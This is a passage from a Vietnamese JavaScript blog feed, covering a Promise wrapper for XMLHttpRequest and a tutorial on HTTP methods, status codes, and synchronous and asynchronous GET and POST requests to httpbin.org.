style="position:relative;"><a href="#tri%E1%BB%83n-khai-xmlhttprequest-v%E1%BB%9Bi-promise-javascript" aria-label="triển khai xmlhttprequest với promise javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai XMLHttpRequest với Promise JavaScript</h3> <p>Trong khuôn khổ bài viết này, mình sẽ viết lại phương thức <strong>GET</strong>. Bạn có thể áp dụng một cách tương tự để viết các hàm số cho phương thức <strong>POST, PUT</strong>,...</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">get</span><span class="token punctuation">(</span><span class="token parameter">requestURL</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> XMLHttpRequest <span class="token operator">=</span> window<span class="token punctuation">.</span>XMLHttpRequest <span class="token operator">||</span> <span class="token function">ActiveXObject</span><span class="token punctuation">(</span><span class="token string">"Microsoft.XMLHTTP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> requestURL<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"load"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>status <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">)</span> <span class="token function">resolve</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>status <span class="token operator">==</span> <span class="token number">404</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span>xmlPath<span class="token punctuation">,</span> <span class="token string">"404"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"error"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hàm số trên nhận tham số đầu vào là địa chỉ URL dùng để request lên server và kết quả trả về là một Promise. Tác vụ bất đồng bộ ở đây chính là XMLHttpRequest thực hiện GET đối với địa chỉ URL trên.</p> <p>Khi request thành công, kết quả trả về với <strong>status = 200</strong>, thì truyền <strong>response</strong> vào hàm resolve. Ngược lại, request thất bại thì sẽ truyền giá trị lỗi cho hàm reject.</p> <h3 id="sử-dụng-xmlhttprequest-với-promise" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-xmlhttprequest-v%E1%BB%9Bi-promise" aria-label="sử dụng xmlhttprequest với promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng XMLHttpRequest với Promise</h3> <p>Với hàm số trên, bạn có thể sử dụng một cách đơn giản:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> request <span class="token operator">=</span> <span class="token string">"https://fcc-weather-api.glitch.me/api/current?lat=21&amp;lon=105"</span><span class="token punctuation">;</span> <span class="token function">get</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#result"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>textContent <span class="token operator">=</span> data<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi thành công, kết quả data sẽ được ghi ra console và đổi giá trị <strong>textContent</strong> của <strong>#result</strong> với data vừa nhận được trong phần <strong>.then</strong>. Ngược lại, khi có lỗi thì in ra kết quả error trên console trong phần <strong>.catch</strong>.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách mà mình kết hợp XMLHttpRequest với Promise JavaScript. Bạn cũng hoàn toàn có thể sử dụng cách trên để áp dụng cho bất kì phương thức bất đồng bộ nào khác.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/js-pattern-constructor-pattern/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://davidwalsh.name/promises">JavaScript Promise API</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise MDN</a></li> </ul>[email protected]<![CDATA[XMLHttpRequest - Tạo HTTP request đến server trong JavaScript]]><![CDATA[Có bao giờ bạn thắc mắc, chuyện gì thực sự diễn ra khi chúng ta gõ một địa chỉ trang web (ví dụ: completejavascript.com) lên trình duyệt và nhấn Enter? Đầu tiên, trình duyệt sẽ tìm…]]>https://completejavascript.com/xmlhttprequest-tao-http-request-den-server-trong-javascript/https://completejavascript.com/xmlhttprequest-tao-http-request-den-server-trong-javascript/<![CDATA[AJAX]]><![CDATA[Event]]><![CDATA[JSON]]>Sun, 20 Aug 2017 04:33:46 GMT<p>Có bao giờ bạn thắc mắc, chuyện gì thực sự diễn ra khi chúng ta gõ một địa chỉ trang web (ví dụ: <a href="/">completejavascript.com</a>) lên trình duyệt và nhấn <strong>Enter</strong>?</p> <p>Đầu tiên, trình duyệt sẽ tìm kiếm địa chỉ IP của server ứng với tên miền, sau đó là mở kết nối TCP đến server thông qua cổng 80 - cổng mặc định của giao thức HTTP. Nếu server tồn tại và chấp nhận kết nối, trình duyệt sẽ gửi yêu cầu dạng GET đến server để lấy thông tin trang web. Tiếp theo, server phản hồi lại trình duyệt theo đúng kết nối đó. Và cuối cùng, trình duyệt xử lý thông tin phản hồi và hiển thị nó lên trang web.</p> <p>Quá trình này được thực hiện hoàn toàn dựa trên trình duyệt. Tuy nhiên, bài viết này sẽ hướng dẫn bạn gửi yêu cầu HTTP đến server bằng JavaScript thông qua <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> XMLHttpRequest. Nhưng trước khi đi vào tìm hiểu cách sử dụng XMLHttpRequest, chúng ta hãy lướt qua một chút về giao thức HTTP để biết nó là cái gì trước đã. OK?</p> <h2 id="http-là-gì" style="position:relative;"><a href="#http-l%C3%A0-g%C3%AC" aria-label="http là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>HTTP là gì?</h2> <p>Theo <a href="https://vi.wikipedia.org/wiki/Hypertext_Transfer_Protocol">wikipedia</a>: HTTP - viết tắt của HyperText Transfer Protocol - giao thức truyền tải siêu văn bản, là một trong năm chuẩn về mạng Internet, được dùng để liên hệ thông tin giữa máy cung cấp dịch vụ (Web server) và máy sử dụng dịch vụ (Web client). HTTP là một giao thức sử dụng bộ giao thức TCP/IP.</p> <h3 id="các-phương-thức-request-của-http" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-request-c%E1%BB%A7a-http" aria-label="các phương thức request của http permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức request của HTTP</h3> <p>HTTP hỗ trợ các phương thức request sau:</p> <ul> <li><strong>GET</strong>: phương thức này dùng để lấy thông tin từ server sử dụng URI. Và phương thức GET chỉ nên dùng để lấy thông tin mà không có ảnh hưởng khác tới dữ liệu.</li> <li><strong>HEAD</strong>: tương tự như GET, nhưng phương thức này chỉ dùng để lấy thông tin dòng trạng thái và phần tiêu đề (header).</li> <li><strong>POST</strong>: phương thức này dùng để gửi dữ liệu từ client lên server, ví dụ: thông tin khách hàng, file,...</li> <li><strong>PUT</strong>: dùng để thay thế dữ liệu hiện tại trên server bằng một dữ liệu mới được tải lên. Nói ngắn gọn thì là upload dữ liệu.</li> <li><strong>DELETE</strong>: xoá dữ liệu trên server sử dụng URI.</li> <li><strong>CONNECT</strong>: thiết lập một kênh truyền đến server sử dụng URI.</li> <li><strong>OPTIONS</strong>: miêu tả các tuỳ chọn giao tiếp đến tài nguyên trên server.</li> <li><strong>TRACE</strong>: thực hiện một bài test lặp lại vòng lặp thông báo với đường dẫn đến tài nguyên đích trên server.</li> </ul> <h3 id="các-status-code" style="position:relative;"><a href="#c%C3%A1c-status-code" aria-label="các status code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các status code</h3> <p>Status-code là một số nguyên gồm 3 chữ số, dùng để phân loại phản hồi được gửi về từ server. Có 5 loại status-code là:</p> <ul> <li><strong>1xx</strong>: (100, 101) : Nó có nghĩa là yêu cầu đã được chấp nhận và tiến trình sẽ được tiếp tục.</li> <li><strong>2xx</strong>: (200 - 206) : Nó có nghĩa là hành động đã được nhận, hiểu và thực hiện thành công.</li> <li><strong>3xx</strong>: (300 - 307) : Nó có nghĩa là phải thực hiện thêm hành động để hoàn thành yêu cầu.</li> <li><strong>4xx</strong>: (400 - 417 ) : Nó có nghĩa là yêu cầu bị sai cú pháp hay là không thể được hoàn thành.</li> <li><strong>5xx</strong>: (500 - 505) : Nó có nghĩa là server không thể thực hiện được yêu cầu.</li> </ul> <p>Cụ thể về từng status-code, bạn có thể tìm hiểu thêm tại <a href="https://www.tutorialspoint.com/http/http_status_codes.htm">đây</a>.</p> <h2 id="gửi-http-request-sử-dụng-xmlhttprequest" style="position:relative;"><a href="#g%E1%BB%ADi-http-request-s%E1%BB%AD-d%E1%BB%A5ng-xmlhttprequest" aria-label="gửi http request sử dụng xmlhttprequest permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gửi HTTP request sử dụng XMLHttpRequest</h2> <p>Thông thường, vì lý do an toàn nên server sẽ chặn các request từ các tên miền khác với "tên miền của server". Do đó, bạn sẽ không thể thực hiện gửi HTTP request đến server sử dụng XMLHttpRequest từ localhost. Sau đây, mình sẽ sử dụng server chuyên dùng để test HTTP request tại: <a href="https://httpbin.org">https://httpbin.org/</a></p> <p>Ví dụ sau gửi phương thức request dạng GET đến <a href="https://httpbin.org/get">https://httpbin.org/get</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token string">"https://httpbin.org/get"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả trả về là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">200 { "args": {}, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.8,vi;q=0.6", "Connection": "close", "Host": "httpbin.org", "Origin": "null", "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1" }, "origin": "183.81.50.73", "url": "https://httpbin.org/get" }</code></pre></div> <h3 id="giải-thích" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch" aria-label="giải thích permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích</h3> <p>Trong JavaScript, câu lệnh để tạo mới một đối tượng XMLHttpRequest: <strong>var req = new XMLHttpRequest();</strong>.</p> <p>Sau khi đã có đối tượng req, mình sử dụng phương thức <strong>open</strong> để cấu hình cho request. Trong đó:</p> <ul> <li>Thuộc tính đầu tiên là tên kiểu request: <strong>GET, HEAD, POST, PUT, DELETE,</strong>...</li> <li>Thuộc tính tiếp theo là địa chỉ URL mà mình muốn gửi request đến.</li> <li>Thuộc tính cuối cùng là đối số <a href="/kieu-du-lieu-trong-javascript/">kiểu bool</a>, với giá trị <strong>false</strong> ý nghĩa là request kiểu đồng bộ (đợi cho đến khi nhận được kết quả phản hồi response) và giá trị <strong>true</strong> ý nghĩa là request kiểu bất đồng bộ (không đợi kết quả trả về mà sẽ tiếp tục thực hiện lệnh phía dưới, kết quả trả về sẽ được xử lý trong <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> callback).</li> </ul> <p>Lúc này, request mới được cấu hình. Để gửi request này đến server, mình sẽ sử dụng phương thức <strong>send</strong> với đối số là <strong>body</strong> của request. Trong ví dụ này, mình gửi request kiểu <strong>GET</strong> nên body chỉ cần là <strong>null</strong>.</p> <p>Kết quả trả về có nhiều thuộc tính, nhưng quan trọng nhất là 2 thuộc tính:</p> <ul> <li><strong>status</strong>: chính là status-code. Kết quả trả về là 200, chứng tỏ request thành công.</li> <li><strong>responseText</strong>: là nội dung phản hồi từ server. Trong trường hợp này, kết quả trả về là một chuỗi <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>.</li> </ul> <p>Ngoài ra, nhiều trường hợp bạn phải chèn thêm header cho request thì server mới chấp nhận. Để làm được việc này, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader</a> đơn giản như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">XMLHttpRequest<span class="token punctuation">.</span><span class="token function">setRequestHeader</span><span class="token punctuation">(</span>header<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ, để cấu hình request sử dụng body kiểu JSON, bạn có thể set header "Content-Type":</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">req<span class="token punctuation">.</span><span class="token function">setRequestHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"application/json;charset=UTF-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sử-dụng-xmlhttprequest-với-phương-thức-post" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-xmlhttprequest-v%E1%BB%9Bi-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-post" aria-label="sử dụng xmlhttprequest với phương thức post permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng XMLHttpRequest với phương thức POST</h3> <p>Ví dụ sau gửi phương thức request dạng POST:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"POST"</span><span class="token punctuation">,</span> <span class="token string">"https://httpbin.org/post"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">setRequestHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"application/json; charset=UTF-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> jsonBody <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Lam Pham"</span><span class="token punctuation">,</span> <span class="token literal-property property">url</span><span class="token operator">:</span> <span class="token string">"completejavascript.com"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>jsonBody<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">200 { "args": {}, "data": "[object Object]", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.8,vi;q=0.6", "Connection": "close", "Content-Length": "15", "Content-Type": "application/json; charset=UTF-8", "Host": "httpbin.org", "Origin": "null", "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1" }, "json": null, "origin": "183.81.50.73", "url": "https://httpbin.org/post" }</code></pre></div> <p>Phần này cũng tương tự như phần sử dụng phương thức GET. Chỉ khác là ở đây, mình sử dụng phương thức <strong>setRequestHeader</strong> để cấu hình <strong>content-type</strong> là JSON. Khi gửi request, thay vì gửi <strong>null</strong> thì ở đây mình gửi đi một đối tượng JSON.</p> <p>Đối với các phương thức request còn lại như PUT, DELETE, HEAD,... bạn có thể làm tương tự như hai ví dụ trên.</p> <h3 id="xmlhttprequest-với-request-bất-đồng-bộ" style="position:relative;"><a href="#xmlhttprequest-v%E1%BB%9Bi-request-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="xmlhttprequest với request bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>XMLHttpRequest với request bất đồng bộ</h3> <p>Trong các ví dụ trên, mình mới chỉ sử dụng request đồng bộ. Việc sử dụng request đồng bộ dẫn đến chương trình bị dừng lại để chờ cho đến khi có thông tin phản hồi từ server.</p> <p>Nếu như server bị lỗi, hoặc việc xử lý request mất nhiều thời gian, điều này dẫn đến chương trình sẽ bị dừng hoạt động, trang web sẽ bị <strong>đơ</strong>.</p> <p>Do đó, chỉ nên sử dụng request đồng bộ với những yêu cầu có thể xử lý nhanh. Nhìn chung, bạn nên sử dụng request bất đồng bộ.</p> <p>Như mình đã nói ở trên, để cấu hình request là bất đồng bộ, bạn chỉ cần truyền vào <strong>true</strong> ở thuộc tính thứ 3 của phương thức <strong>open</strong>. Ngoài ra, bạn cần phải <a href="/xu-ly-mot-event-javascript-co-ban/">đăng ký sự kiện</a> <strong>load</strong> và truyền vào hàm callback - hàm này được thực hiện khi có thông tin phản hồi từ server.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token string">"https://httpbin.org/get"</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"load"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span 